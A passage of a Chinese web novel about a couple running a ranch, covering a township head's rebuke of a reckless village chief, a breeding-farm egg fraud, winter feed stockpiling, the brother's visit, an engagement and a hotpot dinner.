但他也没打算提醒赵明，这人这段时间太飘了，就该给他找点事情做做！ 赵明到了镇上后径直去了李全办公室，李全本来平复的心情在看到他后又涌起一股怒气。 “咱们大忙人赵大村长来了啊！怎么，没在村里盯着你的宝贝羊？” 羊？赵明就跟雷达响了一样立马就反应过来了，是那两个小王八蛋告状了！ 他赶紧解释，“镇长您别误会，也别听小人挑拨，我们确实签了合同帮人家代养羊，但说是代养，人家之后是会回收的，前期投入点钱，后面回报大啊！” “回报大？”李全根本不买账，“你说的回报大是最理想的状态吧，但你不考虑前期的问题？” “前期投入是为了能更好地增肥，这都是必要的投资”，赵明心里不高兴，觉得镇长手伸的太长了。 李全虽没看出他心里的想法，但他不是傻子，“你这是和领导说话的态度吗？” 赵明这才意识到自己刚才语气不太好，连忙换了副笑脸，“镇长，您别生气，我这不是着急嘛！您也知道，我们村穷了这么久，好不容易有个赚钱的机会，我当然得好好把握啊！” 李全冷笑，“把握机会？拿全村土地的承包使用权去做抵押获得的机会？每个月花几千块钱做成本投入进去，这叫把握机会？” 赵明脸色一白，他没想到李全竟然连这事儿都知道了，更恨透底的姚新泉和师月江，连周会计都恨上了。 他强装镇定，“镇长，这事儿我也是没办法，村里实在太穷了，我们这也是没办法的办法，再说了有投入才有回报，我们从人家那里买了高价饲料，可我们后面卖羊的价格也比市面上高啊！” 李全没想到他这么冥顽不灵，一拍桌子，“那是要羊的体重达标，你们能达标吗？” 赵明嗫嚅着，“能的，一定能，我们喂的都是好饲料。” 李全根本不听他的解释，“好饲料？你知道你们村里多少人连饭都吃不饱吗？你把钱花在羊身上，就算能达标，就算能卖上价格，你前期投入这么大，你确定能回本？” 赵明额头上开始冒汗，他意识到这事儿要是说不清楚，自己村长的位置恐怕就坐不稳了。他擦了擦汗，尽量让自己冷静下来，“镇长，您听我解释，这事儿我们真的有好好计划过。那些饲料虽然贵，但羊吃了长得快，而且我们跟人家签的合同，人家保证回收，价格也比市面上高。我们算过账，只要羊能达标，肯定能赚钱。” “达标达标”，李全气得拍桌子，“你以为达标那么容易？” 他也不是傻子，在等赵明的期间，他专门给镇上屠宰场打了电话，问了他们收的羊大概是多重的，得到的结果是基本都在40公斤左右。 他得天天给羊□□料才能到55公斤吧？ 而且按照他们这个喂法，那个饲料又比市面上的贵，就算真能长到55公斤，就算真能按照1.3倍收，这不还得亏？ “你算过账吗？”李全现在只觉得眼前发黑，这赵明到底是咋选上当村长的，想到什么又问，“你们书记呢？” 赵明不想提叶尔江，只是含糊了几句，李全一言难尽地看着他，这脑仁儿就芝麻大竟然还会拦着同事不让同事露脸？ 李全见他支支吾吾，更不知道说什么好了，他叹了口气，“赵明啊赵明，你让我说你什么好！你们这样做，万一羊不达标，或者市场有变动，人家不回收了，你们村怎么办？你们拿什么去还贷款？村民们的生活怎么办？” 李全越说越激动，他站起身来，在办公室里来回踱步，“你们这是拿全村人的未来在赌博啊！你以为你是赌神吗？你能保证一定赢吗？” 赵明低着头，不敢直视李全愤怒的眼睛。他心里明白，这次的事情确实做得有些冲动，但一想到村里那穷困潦倒的现状，他就觉得自己是在为村里谋出路，是在做一件大好事。 “镇长，我知道这事儿有风险，但我们已经没有退路了。村里的情况您也知道，大家伙儿都盼着能有个赚钱的机会，我也是征询了大家的意见的”。 李全停下脚步，瞪着赵明，“没办法？没办法你就可以拿全村人的未来去冒险吗？你以为你是谁？你以为你能决定什么？你现在还跟我在这推卸责任是吧？你们村里有几个大学生？几个高中生、初中生？又有多少文盲？他们中有几个能看得懂合同？人家相信你才让你来做这个村长，你现在是在做什么？你是在拖着大家下地狱！” 赵明被李全说得有些无地自容，心里又不免愤恨，他确实是好心啊，“镇长，我知道这事儿我做得冲动，但请您相信，我真的是为了村里好。只要我们能把羊养好，把体重达标，就一定能赚钱，就一定能还上贷款。” 李全看着他，眼神里充满了失望和愤怒，可意外地没有再发火，“赵明啊赵明，你到底是在为村里谋福利，还是为了 你自己能往上走，你比谁都清楚，多的话我不想说了，你们村里的事情我会派人下去接手，这事儿不能继续了，不管是把羊退回去还是继续养都得有个章程。” “我不同意！”赵明拍着桌子站了起来，可对上李全那刺骨的目光，他嘴巴动了动还是昂着脖子，“当我不知道是谁捅出去的？不就是姚新泉他们吗？他们就是见不得我们好！见不得我们养的羊卖得比她还贵！” “你可闭嘴吧！”李全扶额，他都后悔当初跟赵明他们抱怨姚新泉两人有事情跳过村镇直接往县里报了。他只是不高兴有什么好事自己都没办法掺一脚，但是不代表他是个傻子。他只是想让赵明他们去跟姚新泉两人暗示一下做事情要有章法，但这个蠢货…… 李全看着赵明这副模样，只觉得心累无比。他深吸一口气，努力让自己的语气平静下来，“赵明，你现在不是在跟我谈判，而是在接受我的决定。这事儿已经闹大了，镇上不可能再让你们继续这么胡来。我会派人下去接手，你们必须配合。” 赵明脸色铁青，他没想到李全竟然会如此决绝。他咬着牙，不甘心地说，“镇长，您这么做，让我怎么跟村民们交代？他们可是都指望着这些羊能赚钱呢！” 李全冷哼一声，“交代？你要什么交代？你要给村民们一个赚钱的机会，也要给他们一个不赔本的保障！你现在这么做，是在拿他们的血汗钱开玩笑！你以为村民们会感激你吗？他们只会恨你！恨你把他们推进了火坑！” 赵明被李全说得哑口无言，他心里明白，李全说的都是事实。但他还是不甘心，他不想就这么放弃。 他沉默了一会儿，突然抬起头，看着李全说，“镇长，我求您再给我们一次机会。我们一定会把羊养好，一定会达标。只要您能让我们继续养下去，我愿意承担所有的责任。” 李全看着他，半晌突然笑了起来，就在赵明心里一松以为上面会网开一面的时候李全道，“镇上的停职材料会尽快发给你，至于之后，那也要等这件事情查清了之后再来看你到底要承担多少责任。赵明，有多大的能耐就端多大的碗吃饭，行了，这事儿你没必要跟我再继续说，回去吧！”说完摆了摆手没有再跟他说话的意思，赵明只能失魂落魄地离开。 第197章 姚新泉两人不清楚那边发生的事情,赵明回来后虽然脑子发热想来找姚新泉二人算账，但到底不是个彻彻底底的蠢货，虽咬牙但最终还是没有去。 这两天她发愁的是家里鸡蛋鸭蛋吃不完了,如果数量特别多也就罢了,不管是找人来收还是让人带到市场上去卖怎么都行,但现在问题就是也没多到要拿出去卖。再说了,卖的话,一天几十个鸭蛋,又能卖上什么价格？ 至于送人的话，她已经算是手很松的了，出门也愿意给亲戚带东西，但是也不能天天给人送吃的喝的,不合适。 倒是师月江提醒了她,“你要不要问问其他人养不养,养的话可以孵小鸭子，不过马上就入冬了，人家不一定愿意这个时候养。” 冬天养啥都要花钱,应该没人会愿意在这个时候去养小鸡或者小鸭子的。 “还有珍珠鸡蛋的事情”,姚新泉叹气，赵强倒了这蛋要交给谁啊？ “找石县长呗！”师月江道,本身两方走得就挺近的,而且现在石县长愈发有了点儿“长辈”的意思,遇到事情了不找长辈还找谁啊？ 姚新泉想了想也对,她赶忙给石县长打电话问了下这个事情，石县长听闻后沉吟了一会儿，“这样，你们先别着急,之前的事情都是赵强对接的，但新上任的协会会长也到位了，我去帮你联系一下。” 姚新泉感谢了两句就挂断电话等他的通知。 倒不是说不能由她去直接联系协会，只是她之前去了一次，总感觉协会里面的工作人员对她的态度都怪怪的，不说有什么意见，但至少也是避之唯恐不及的。 她不知道是不是因为赵强下台也算是跟她有那么一星半点的关系，反正她就还挺不高兴的，什么意思啊？她检举倒检举错了？那些犯错甚至是犯罪的人不反思自己的罪行，反倒是怪别人不应该揭发他们？ 因为这，姚新泉现在去那边也觉得腻歪得不行，“明年的会费我是不交了”，那钱也不算少了，虽然说协会也组织了几次活动，但是那些知识姚新泉是可以从别的渠道获取到得，比方说系统的课程，或者是刘教授那边再或者是师星野介绍的人脉关系，她不是非得指望着协会。 人家现在不欢迎她，总不能日后每次去那边都给自己甩脸子，她还得受着吧？ 没这个道理！ 师月江很是赞同，要是没办法也没别的出路，那吃亏受委屈看人脸色怎么都好，但是既然有别的选择，他们又为什么要委屈自己？ 他想得很开，不说别人，就说他哥那边，他哥赚下这么大的家业，结交那么多的人脉也是为了他们兄弟将来日子能舒坦一些，总不能没钱的时候看人脸色，有钱了还得看吧？ “之后咱们多关注关注行业的新动态或者论文之类的，不会比他们协会知道的还晚的。” 协会毕竟是一个半官方的机 构，他们绝对不可能说新研发出来了个什么产品或者课题后立马就投入推广的。就算可行性没问题，但一层一层下来，一样非常耗时，说不准自己去打听反而能知道得更早呢！ 两人把这事儿交给石县长后便没有再放在心上了，两人在囤最后一波粮。 两人去收购了一波南瓜、胡萝卜之类的能储存挺长时间的蔬菜，人可以吃，牲畜也可以吃。 毕竟家里牛冬天还要产奶，而湖羊也得好好调理身体，都得补充维生素。就像之前说的，她不打算让湖羊一年两胎，能两年三胎就行。 师月江前几天在家里跟着雇来的打草机打了好几天的牧草，晒得也差不多了，两人都收了回去。 油渣、棉籽饼、菜籽饼也都准备了不少，不过这东西到时候喂前需要先泡水，这是有一定毒性的。 她还通过系统搞到了隔壁市一家糖厂的联系方式，去买了一批废弃糖渣，没要太多，冬天补充一些这个也可以提高饲料的适口性。 豆粕、黄豆、玉米之类的就更用说了，都准备了不少。 她还专门在河里捞了一下，本想捞点鱼，粉碎成鱼粉也好，但后来想想上次那山洪已经跑了不少鱼了，还是留一些吧，这才没捞。 她不仅量准备的大，种类也丰富，毕竟饲料单一的话牲畜会营养不足，还可能导致抵抗力下降，引发各种病症。 她现在牧场里这么多牲畜，一生病再一传染，那她真是哭都没地儿哭去！ 姚新泉在本子上打勾，心满意足地把圆珠笔别在本子上，“准备得差不多了”，说着又忍不住拉踩，“你看咱们这养个牛羊费多少劲儿，恨不得隔三岔五给它们调整下各种饲料的配比，又是怕生病，又是怕不长肉，还怕长得太快了肉不好吃。你看他们，就吃个破饲料就想让羊长到55公斤往上！” 他们那饲料镇上拿去检测了，实际上里面就是干草、玉米、大麦、麸皮，你说好不好，其实是好的，这除了干草都能算是精料了，所以短期去喂那肯定长肉啊！ 至于说为什么发现不了，还不是那些人太精了，把饲料都打碎了！ 但长期吃是真的没办法长肉的。 像是玉米大麦这些都是高能量的饲料，吃多了能量过剩、脂肪堆积，影响肉质，长期还可能导致脂肪肝或酸中毒。 而且只吃这些还会导致羊的蛋白质需求得不到满足，长期的话会导致羊增重慢、肌肉发育不良，如果是产奶期的母羊，还会导致产奶量下降。 另外，玉米和大麦的磷高钙低，长期喂食还可能导致羊的骨骼发育不良、或者羊羔佝偻病以及成年羊骨质疏松。 维生素也是缺乏的，还会导致羊视力下降、免疫力降低等等问题。 归根结底，那就是短期内可能会见到体重增长迅速，但是这羊又不是养上一两个月育肥立马卖掉，长期根本不能这样养的！ 像姚新泉哪怕是育肥也不敢这样干，毕竟这也会影响肉质的！ “养羊说简单也简单，你给口草吃就能行”，姚新泉叹气，师月江自动接下一句，“但说难也难，不然那些科学家、农学家都一天天研究什么？吃饱了没事干啊？” “可不是嘛”，姚新泉叹了口气，但想了想又打起了精神，“算了，有上面人接手，也跟咱们没啥关系了”。 她也不是每天闲得慌，非要给自己找不痛快，既然有人能出面解决这些事情，她自然乐得逍遥。 两人回屋做饭，刚洗好菜就听到电话声响，姚新泉一听电话是石县长的，她聊了会儿后挂断电话去厨房看到师月江就叹气。 师月江觉得好笑，“你就接了个电话，咋就这样了？” 姚新泉叹气，“石县长说让咱们下午去一趟县委，说关于那批珍珠鸡蛋有事情要跟咱们说。” 师月江皱眉，可对上姚新泉的眼神后他又没忍住笑出声来，“咱俩这日子可就没一天消停的。” 如果事情不大或者已经解决了，那石县长直接在电话里告诉他们解决的办法就行，没必要非让他们俩去。 但现在既然非要面谈，那肯定就是事情又有了变化。 姚新泉愁的直挠头，“要知道后面有这么多幺蛾子，我就不领这批蛋了！” 从领回来开始就一堆麻烦，说好了是小鸡苗，结果莫名其妙变成了鸡蛋，要不是师月江那边“天降神兵”带回来了孵化器，他们还得满市求爷爷告奶奶去借孵化器或者老母鸡呢！ “我看你吃着不是挺香的嘛，这就后悔了？”师月江笑睨了她一眼，姚新泉没好气地锤了他一下。 香，倒确实是挺香的啦！ 散养的珍珠鸡和普通鸡的区别不算小，姚新泉说不好哪种更好，只能讲珍珠鸡确实有它的特色之处。 珍珠鸡肉色深些，颜色近乎绛红，肉的纤维也更粗些。入口时，口感偏紧实，却不会显得柴，不管是红烧还是烤制，汁水都很充足，而且不同于普通家养的鸡，反而还会带着点野味儿的感觉。 而普通鸡哪怕是散养的走地鸡，肉质细腻，好吃归好吃，但是一种近乎被驯化的好吃。 好多人为什么喜欢吃什么野猪肉、野兔肉之类的，更香吗？姚新泉觉得未必，很多时候吃的就是那一种所谓的“野味儿”。 你能因为有人喜欢吃野味，就觉得家养的小肥猪不好吃吗？怎么可能，做出油汪汪肥嘟嘟的红烧肉香死个人！ 所以姚新泉也不觉得普通的鸡不好吃，也好吃啊，各有特色罢了！ 像珍珠鸡就更适合烤制、炖煮或者香煎之类的做法，通过重口味、慢火或高温激发出野性风味，但是如果清炖的话就会相对容易柴一些。 而走地鸡其实更适合清淡一些的做法，突出它的鲜嫩反而不宜过度烹饪，容易丧失细腻的口感。 而姚新泉口味很是包容，基本上什么样的烹饪方式她都能接受，所以哪一种鸡她都喜欢！ 第198章 姚新泉两人吃完饭等倒了下午差不多快上班了,两人才去了县委。 见到石县长后，石县长没忍住笑了出来，他点了点姚新泉,“你这个运气我都不知道说什么好了！” 姚新泉有点茫然,“什么意思？”又好像不是什么不好的事情。 石县长让两人坐,“那批珍珠鸡蛋不管是在协会还是乌市那边的良种厂里都没有登记过。” 姚新泉感觉自己有点听不懂中国话了,她反应了半天,“什么叫没登记过？没登记过我是咋领回来的？” 师月江也没遇到过这种事情啊！ 他也很茫然,你要说这批蛋是被人私自扣留给自己，或者去做什么利益交换，反正是为了自己的利益，最终想办法抹掉了,他能相信这个。 可这批蛋运到他们市了,还是运给了另一家单位,运费还是他们承担的，而且姚新泉当时还跟赵强约定了要返还600枚种蛋的，这算什么？ 两人都很茫然地看着石县长,石县长忍俊不禁,可心里也气啊！ 他一个笑还没笑完又忍不住叹气，“那群卖钩子的！” “最开始他们不是说给你鸡苗,结果来了之后全变成鸡蛋了吗？” 姚新泉点了点头,当时就觉得里面有很多问题,那家良种厂不是很靠谱的样子！ 石县长叹气,“他们把最开始订给咱们市协会的鸡苗给了领导的一个开养殖场的亲戚家里，所以为了打发这边，就给送了一批蛋过来。但后来那边养殖技术不行，养死了一大半,所以良种厂又给了他那边一批。之前那一批鸡苗还有后面这批鸡苗总得有个出处，他们就登记说是在运送来咱们市的路上出了意外翻车了，鸡苗都死了，报了意外损失，把账给平了。” 姚新泉一言难尽地看着石县长，半晌吐出了几个字，“不觉得草率了点儿？”什么狗屁的翻车，如果翻车了，车损呢？人损呢？所以翻车就死了一批鸡苗？而且厂里不应该还有一些什么工作日志之类地东西去记录啥时候孵化了多少枚鸡蛋，多长时间孵出来多少只鸡苗？ 不是同一批孵化的，结果同一批送到一个县？还是翻了几次车？ 另外，市里这边又是怎么记录的呢？也帮着作假蒙混过关？ 石县长冷笑，表情不是太好看，“草率算什么？估计在人家心里还觉得都给我了一个借口，我还想怎么样？” 姚新泉两人面面相觑，确实是没遇到过这种事情，她无语了一会儿也气笑了，“那现在良种厂那边咋样？还有我这边，这些蛋我咋弄，就白给我了？” 石县长笑骂，“想什么好事儿呢！” 他叹了口气，“良种厂那边已经在查办了。” “查办？”姚新泉眼睛亮了，公安出手了？ 石县长看着姚新泉想笑又觉得笑了不太好，“还不是7.2诈骗案带出来的？上面分了一部分人去查相关的国营单位内部的问题，已经查到良种厂了，我把事情报上去之后人家更是一抓一个准。” “这可真是……”她也笑了，这都什么事情啊！ “至于那批鸡蛋”，石县长脸上的笑意真诚了许多，“我们跟上面沟通了，这批鸡蛋就归咱们 县了，方案还跟之前你们谈的一样。” “给六百枚种蛋？” 见石县长点头，姚新泉又问，“那你们是现在要蛋还是？” “等春天吧”，石县长沉吟了一会儿，这个时候要了蛋，孵出小鸡来之后怎么养？ 还是等春天吧，那时候散养又能吃草又能吃虫子，基本不怎么需要补饲料，喂养成本小。 “这珍珠鸡因为养的少，在咱们这边价格不便宜，县里如果要大规模养的话还得找找市场”，放在市面上随意卖的话未必能卖得上价格，毕竟单价比普通鸡肉贵，人家有的选择的情况下不会选这个的。 石县长点头，他心里有数。三人又聊了一会儿后姚新泉两人才离开，站在县委门口两人相视苦笑，这都什么事儿啊！ “也是没办法，正是在改制的过程中，出现什么乱象都是有可能得”，师月江叹气，国企产权是归全民所有的，但实际控制权在政府和管理层手中，缺乏真正的产权主体监督，再加上企业管理层掌握实际经营权，但缺乏有效制衡。 这时候国企受到的冲击可远远不是刚改革开放那时候能比的，人心浮动，再加上各种原因，真的是没办法。 两人叹了口气不再考虑这个，反正跟他们都没啥关系，管好自己就成了。 今年下雪下得算晚，11月底才下雪，但却是一场大雪，家里屋子窗户外面都封了塑料布防寒，两人靠在沙发上喝奶茶，一人捧着一本书看着，好不惬意。 师月江电话响时候他都愣了一下，“喂，月江，你来开一下大门。” 师月江懵了，姚新泉见状忙问，“怎么了？” “我，我哥好像来了，在门外面。” 姚新泉也愣了，两人赶紧爬起来，师月江想往外跑，姚新泉拽了他一下，“你把外套穿上！” 外面风大雪大，就这样出去人都得吹傻了！ 师月江穿上军大衣后往外跑，一推开大门扑面而来的雪粒子打在脸上，他没忍住嘶了一声，裹好外套后冒着雪往外跑。 姚新泉赶紧倒了杯热水，又把掸雪的扫把拿了过来，家里防冻的药膏也都翻了出来。 没一会儿她觉得声音不太对，一开门看到外面的大家伙后人都懵了，“这啥？” 师月江拉着他哥进屋后，师星野笑着朝她点了点头，“小姚好久不见了”，说着又跟她解释，“我开了一台铲雪车来。” 姚新泉？？？ 师星野自己解释，“就算雪停了你们冬天出行也不方便，我买了辆铲雪车才运过来，我就跟着一起来了”，他笑着问，“欢迎不？” 姚新泉笑了起来，“自然是欢迎的”，师星野脾气好，人也风趣幽默，还不会管他们的事情，对他们也好，她怎么可能不喜欢？ 姚新泉接过他的帽子掸了掸雪后挂在了门口的架子上，又把小扫把递给师月江，让他去扫师星野的羽绒服。 她则是让师星野去厨房，给他递了碗热奶茶，“暖暖身子。” 师星野看着趴在厨房和客厅交界处的一群小动物愣了一下，又看了眼墙壁上开出来的门，“格局改了不少啊！” 姚新泉点了点头，“之前不是加盖了几间吗，小家伙们住的那间我们给扩了，然后跟这边开了个门，他们想过来也不用从外面绕了。” 师星野点了点头，他一把接住朝自己扑过来的莱尼，本以为能轻松抱住，结果莱尼胖了不少，而且也长长了一大截，上半身被他抱着，下半身还拖在地上，他干脆便坐在了地上，莱尼高高兴兴地扑倒了他。 没等他起身，突然感觉耳朵边上多了一道气息，师星野瞬间头皮发麻，还没起来便见莱尼踩在他身上往那边一跳。 师星野捂住腹部表情狰狞，师月江吓了一跳赶忙过来扶他，“哥你没事儿吧？” 师星野捂着肚子站起来摇头，“她就是借着我起跳了一下”，他的目光追着莱尼看了过去，就见莱尼跟两只小动物翻滚在一起。 “那是雪豹吗？” 师星野瞪大了眼睛，姚新泉笑着点头，“另一只是沙漠猫，他俩都小，被莱尼欺负得不行，所以人家结盟了，现在二打一勉强能不落下风。” 沙漠猫确实是小，但他也是野生动物，身体素质和捕猎能力不能小觑。 师星野惊讶地看着那三只打闹在一起的小家伙，莱尼体型最大，但另外两只也丝毫不落下风，动作敏捷，配合默契。 “这雪豹和沙漠猫竟然能相处得这么好？”师星野感叹道。 姚新泉笑着解释，“它们也是经过了一段时间的磨合才这样的，一开始也是互相看不顺眼，经常打架。但慢慢地，它们可能也发现彼此都不是好惹的，就开始结盟了。” 师月江也凑了过来，看着这三只小家伙打闹，忍不住笑了起来，“莱尼这家伙，平时看着挺凶猛的，没想到也有被欺负的时候。” 姚新泉翻了个白眼，“莱尼那是仗着自己体型大欺负人，遇到真正厉害的就不行了。” 雪豹也是幼崽，但他也是看着妈妈捕猎过的。虽然说他现在脚上的伤勉强算是好了，就剩指甲还没完全长好，但是也像模像样的。 沙漠猫更别说了，人家是独立生活过一段时间的。 而莱尼，这家伙是完全丧失了捕猎的能力，要不是她体型大一些，她跟另外几个小家伙到底谁能赢还不好说呢！ 不过也就是现在了，等雪豹再大一点，她可就连这点优势都没有了！ 莱尼像是听明白了姚新泉在说什么，不高兴地朝她叫了一声，这么一分心，雪豹立马将她扑倒，沙漠猫也扑了过去。 师星野吓了一跳，“莱尼！” 第199章 姚新泉和师月江两人也不阻止,就看他在一旁着急，看热闹似得。 就见两只小的将莱尼扑倒在地，雪豹一下咬住莱尼的喉咙,沙漠猫则是跑到了莱尼的头顶,在她耳朵那边不知道干嘛呢,反正看起来像是在撕咬。 师星野看得着急,忍不住瞪两人,“你们就看着莱尼被欺负？” 师月江摊了摊手示意他继续看,就见沙漠猫没一会儿离开了莱尼的脑袋，雪豹也放开了对方，两个小家伙跑到一边高兴得撒欢，还乱叫。 莱尼则是臊眉搭眼地顶着一头被舔的黏糊糊的脑袋委屈巴巴地蹲在一边。 师星野先是一怔,觉得自己是白担心了,可随后又是觉得好气,莱尼可真是不争气啊！ “给我打盆水，给莱尼洗洗头”，师星野叹气,也没嫌弃她,莱尼委屈地直往他怀里钻。 姚新泉两人这几天见到太多次这种场面了，完全免疫。 姚新泉被那两个在嚎叫的小家伙吵得脑瓜子嗡嗡的,没忍住快步上前一人脑袋上给了一巴掌,“再叫,再叫把野兽招来,你俩出门迎战去！” 两个小的这才消停。 等这边收拾好师月江这才问了起来，“哥你怎么突然过来了？” 师星野挑眉，“我怎么就不能来？不是还给我留了间房？” “不是”，师月江忍不住瞪他曲解自己的意思,“我是说你那么多事情，冬天这边又容易封路，万一再没信号了你咋搞？”今天这第一场雪虽然下的时间不长，但这雪可不算小啊！ “你这有电话，我带了大哥大，还有卫星电话，我又开了铲雪车过来，只要不是太夸张的大雪，想走还是能走成的”，他话音一转，“再说了，公司现在平稳发展，我给出那么高的年薪请了一群人，难道我连休息几天的机会都没有？那我这钱花的可真冤枉！” “这不是你赚钱从不觉得累，反而觉得高兴吗？” 师星野觉得奇怪，“我休息也是为了更好地赚钱啊！”师月江做了个打住的手势，一脸拿他没办法的表情，“行了行了，知道你爱赚钱了！” 他拎着师星野的包先带他去了卧室，“被子是今年的新棉花，褥子也重新弹了弹，又软又暖和”，他拉开衣柜，“里面有一件军 大衣，棉裤毛裤毛衣都有，都是你这个码的，你带来的衣服肯定中看不中用”，他嫌弃地看了一眼师星野穿在里面的那件有型的衬衣，这玩意儿穿出去没半个小时，人都得冻僵掉！ 师星野心里高兴却又没忍住瞪他，“行了行了，我先去洗漱一下，你赶紧给我做饭去！” 师月江走了，他翻开衣柜想拿一件毛衣跟浴巾，看到里面还有几双羊毛袜子心里更是高兴。 另一边姚新泉两人打算做个火锅吃，师月江瞄了她好几眼，姚新泉没忍住踢了他一下，“你有话就说，总看我干嘛？” 师月江耳朵都红了，他有点尴尬地往姚新泉身边凑，“那什么，我哥过来可能想提咱们订婚的事情。” “订婚？”姚新泉一愣，刚想问谁订婚又觉得自己真是昏了头了，“这，这咋没提前说啊？” 师月江心里一紧，他担心姚新泉不同意，声音也变得干巴巴的了，“我哥他之前问过我的意见，我怕你不同意，所以想缓一缓再说，但我哥骂我优柔寡断”，他苦笑又赶忙解释，“我提前不知道他要来”。 他不想好好的事情弄得跟逼婚一样，他跟姚新泉是在合适的时间遇到合适的人，但谈恋爱和结婚还是不一样的，尤其对女孩儿来说。 他怕自己还没给够姚新泉安全感，也怕提了后会给对方压力，反倒影响了两人的相处。 他希望一切都是水到渠成的。 可他哥显然不这么想，师星野觉得两人已经在一起大半年了，又不是跟别的小情侣一样一天顶多相处个把小时，两人除了睡觉的时间以外可以说日日黏在一起。 大半年的时间还不够了解吗？ 不管是日常生活中、工作中，两人的所有模样对方都应该已经了解到了。 之前是因为姚新泉父母的事情不好提，现在和从前不一样，过了一年可以提了。 再说了，有些事情拖着拖着反而容易拖出问题来。 除此之外师星野还有些别的担忧，两个年轻人，孤男寡女地生活在一起，万一出点儿什么意外闹出人命来那可真就难看了！ 而且这种事情从来都该男方先提，他们如果不提倒好像是不重视女方一样，师星野也怕姚新泉家里长辈对自己弟弟有意见。 反正他现在是觉得自己分明还没结婚，但却跟给自己娶儿媳妇一样！ 姚新泉关掉水龙头，把菜放在篮子里，脸上看不出什么笑模样，看的师月江心里发慌。 “新泉”，他控制不住自己去握住了姚新泉的手，还没说什么就见师星野进来了，师星野见两人交握的人笑了起来，“干嘛呢干嘛呢，大伯子可还在这呢！” 姚新泉笑了笑，她想了想也没拐弯抹角，“大哥，你这次来是想让我和月江订婚吗？” 师星野一怔，却又忍不住笑，“确实如此，虽说我们都知道你们是懂事的孩子，但外面恐怕也少不了一些糊涂话，所以我想着你俩要是同意，这次我过来就去见见你家里长辈，把你们俩的事情定下来。” 他沉吟了一会儿又补了一句，“至于结婚倒不急，你们俩自己看。” 订婚之后两人关系就不一样了，将来万一真有点什么也不至于太匆忙。 姚新泉抿唇想了一会儿没说话，师月江只觉得手心里满是汗，他担心对方不愿意现在结婚，更担心对方不愿意跟自己结婚。 似乎过了许久，又似乎只是一瞬，姚新泉释然地笑了，“那就订婚吧！” 师月江瞪大了眼睛，眼中满是惊喜，姚新泉笑着朝他伸手，师月江一把握在手心，“新泉！” 姚新泉莞尔，“咱俩也彼此了解了一段时间，我们无论是性格上还是生活习惯亦或者其他方面都没有什么太大的矛盾，我们也有感情，我没有拒绝的理由不是吗？” 师月江咧着嘴笑，用力点头。 看着弟弟这幅傻样子师星野只觉得眼睛疼，“那小姚你跟家里亲戚约一下时间，咱们看是提前见一面还是怎么呢？” 姚新泉摇了摇头，“就一起吧，大家也都有事，我没那么强的仪式感，日子是我俩过出来的，主要还是让大哥跟他们都互相认识一下。” 师星野笑着点头，这些事情肯定是尊重他们俩的意见，他们要是想大办，那就回北京，再把亲戚都接过去，在那边找酒店办，还有专门的婚庆公司，人家就是吃这碗饭的，肯定能搞得好。 要是不愿意，那就两家人见个面吃吃饭，也挺好的。 见师月江跟傻了一样，姚新泉心里好笑又不免觉得甜蜜，她推了对方一下，“做不做饭了？” “做，做！我来做！”他嘿嘿笑着把姚新泉往外推，师星野没忍住又翻了个白眼，跟傻子一样！ 姚新泉拍了他一下，“就弄个火锅又不费事儿，早点收拾完早点吃饭不比什么都好？” 师月江用力点头，“行，来，收拾”，可大脑到底一片空白，他有点茫然地看向姚新泉，“那我现在要干嘛？” 师星野实在看不下去了，他拍了下头，“你出去以后别说是我弟！” 姚新泉也懒得理这个憨憨，进厨房忙了起来。 铜火锅已经放到了桌子上，师月江跑去仓库里把之前特意买回来的碳拿了回来，这还是上次为了烧烤买的，不算无烟碳，但至少烟不算多。 “把厨房的窗户稍微开个缝儿，别到时候一氧化碳中毒了”，姚新泉道。家里别的窗户全都用塑料布封上了，只有厨房的还没有。 灶台上的陶盆里浸着一条花鲢，鱼是昨天姚新泉两人从冰窟窿里钓上来的，此刻鳞片已经刮净，鱼鳃处渗着淡淡的血丝。 姚新泉本想自己处理的，结果师星野接过了刀，他用刀尖顺着脊骨剖开，鱼肉便如花瓣般绽成两扇，露出雪白的肌理，随后又横着刀片鱼。 鱼片晶莹剔透地摆在盘里，姚新泉见了不免觉得诧异，“大哥你连片鱼都会啊！” 师星野哼笑一声，“你可别小瞧我，我要不做生意，我去杀鱼都能赚个盆满钵满！” 姚新泉忍笑给他比了个大拇指。 另一边师月江则在切羊肉，家里的羯羊和牛都已经卖了，因为今年育肥比去年早，11月中旬的时候再养已经不划算了，所以她干脆找马老板来收走了，小赚一笔。 今年多留了几头牛羊，也都宰了，冻在外面，师月江现在就在切冻好的羊肉。 肥瘦相间的后腿肉冻得硬实，刀刃刮过时带起细碎的冰晶。肉片切得极薄，摊开来能透出青瓷底上的缠枝纹。羊油凝在肌理之间，像琥珀色的雪花，看着就好吃！ 第200章 锅里放了些羊排进去煮锅底,姚新泉在一旁准备别的菜，等弄得差 不多了后姚新泉让他们自己调蘸料。 她打开一瓶韭菜花酱递给师星野，“这是人家做了送给我的,尝尝,蘸羊肉好吃”。 这是老马自己做的,他会捣腾羊,也会吃羊,弄的韭菜花酱特别够味,姚新泉不算特别喜欢吃清炖的羊肉，可蘸上这个韭菜花酱之后也觉得羊肉好吃了。 师月江本想帮他哥调，但他哥白了他一眼，自己端着小碗去调了蘸料。 配菜早已备好,水灵灵的白菜帮子掰成巴掌大的块,冻豆腐切作方方正正的小块,表面布满细密的孔洞。香菇和木耳在温水里泡发了，还泡了一把红薯粉条。 “豆腐是之前买了好几板，都端到外头冻起来了,要吃鲜豆腐就得咱们自己做了”,冬天事情不多，做做豆腐打发时间。 乳白的汤面凝着金黄的油花在铜锅里被炭火催出细密的气泡,师月江把汤里的葱白捞了出来,这东西煮久了就会散掉,在锅里糊的到处都是,恶心巴拉的。 食材一样样下锅，鱼片一沾沸汤便卷了边，由透明转为雪白，羊肉片浮在汤面上,冻豆腐吸饱了汤汁，沉在锅底像一块块吸饱了水的海绵。 雪光透过窗户，将屋内映得透亮。铜锅周围蒸腾着白雾，将三人的面容都模糊了。师月江先动了筷子，夹起一片颤巍巍的鱼肉放到姚新泉碗里，姚新泉朝他抿嘴一笑，师星野看得无奈，这可还有活人呢！ 鱼肉极嫩，几乎不用咀嚼，舌尖一压便化作鲜甜的浆液，带着蘸料的浓香滑入喉中，姚新泉微微眯起了眼睛。 羊肉则是另一番风味，肥油早已融化，将瘦肉浸润得油光发亮，咬下去时汁水迸射。 冻豆腐则最是惊喜，蜂窝状的孔洞里蓄满滚烫的汤汁，咬破的瞬间烫得人眯起眼，却又舍不得吐出来。 被霜打了的白菜带着一股子甜味，白菜帮子在汤里煮得透明，甜味完全释放。粉条最后下锅，透明的薯粉吸足了汤汁，滑溜溜地缠在筷子上。 三人吃得额头上冒汗，却没人停下筷子。 